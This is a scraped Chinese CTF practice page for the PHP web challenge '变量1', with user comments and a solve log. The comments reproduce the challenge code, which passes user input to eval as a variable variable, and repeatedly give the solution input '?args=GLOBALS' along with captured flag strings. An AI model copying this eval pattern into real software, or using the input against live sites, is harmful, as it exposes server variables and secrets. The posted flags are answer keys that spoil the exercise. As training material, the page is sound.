变量1WEB 未解决

分数: 15 金币: 1
题目作者: harry
一  血: dotast
一血奖励: 1金币
解  决: 19498
提  示:
描  述:
题目变量1
评论
3166235571 2年前

if(!preg_match("/^\w+$/",$args)){ // 正则表达式的意思是匹配任意 [A-Za-z0-9_] 的字符,就是任意大小写字母和0到9以及下划线组成 die("args error!"); } eval("var_dump($$args);

回复 1

哥哥 2年前

http://114.67.175.224:18582/?args=GLOBALS flag{60729e319d957a46aa93c8297eea6108}

回复 0

EtHat 2年前

/?args=_SERVER

回复 0

鸡你太美 2年前

使用?args=GLOBALS以字典类型返回当前位置的全部全局变量。 得到flag{c94e74f9465ed5564d0f1047b3da021c}

回复 2
jamin 2年前

@asd+1024 GLOBAL会被正则表达式匹配,但是正则匹配前面还有"!",取反了,所以if不执行

回复 1

ts4win 2年前

@LP_joker + 表示匹配前面的模式一次或多次,并不是加上数字

回复 0

LP_joker 2年前

@asd+1024 ^\w+$表示匹配“大小写字母+数字” GLOSBALS只有字母

回复 0

asd+1024 2年前

可是,为什么GLOBAL不会被正则表达式匹配啊,大佬能讲讲吗

回复 0

coo1an 2年前

/?args=GLOBALS

回复 0

大哥大 2年前

?args=GLOBALS即可得到flag

回复 1

chushou 2年前

了解 preg_match()函数,预变量GLOBALS。让参数args=GLOBALS就可以得到flag

回复 2

movieatravelover 2年前

flag{ea4e336dbeb0a5cf5400ee29f2ca93fc}

回复 0

107zsm 2年前

靶机地址+?args=GLOBALS即可得到flag

回复 2

shiqinannan 2年前

当args参数为GLOBALS时,满足正则表达式要求,eval语句将被执行

回复 0

WriteUp

image
harry

1 金币

评分(16)

解题动态

Allenn 攻破了该题 13分钟前
大宋iu后的 攻破了该题 1小时前
tui19192026 攻破了该题 2小时前
86853 攻破了该题 4小时前
阿宁 攻破了该题 5小时前
linktipk 攻破了该题 7小时前
yuu鱼 攻破了该题 7小时前
longwolf0078 攻破了该题 7小时前
zsjmNBKLS 攻破了该题 9小时前
ljy1997 攻破了该题 9小时前
heixn 攻破了该题 10小时前
10:43 攻破了该题 10小时前
Tomato薯条 攻破了该题 10小时前
桃酥妮妮 攻破了该题 10小时前
沈芷意 攻破了该题 10小时前
box 攻破了该题 12小时前
天天都需要你的爱 攻破了该题 20小时前
xiatao 攻破了该题 22小时前
nwnmc 攻破了该题 23小时前
ranranRAN 攻破了该题 1天前
问题反馈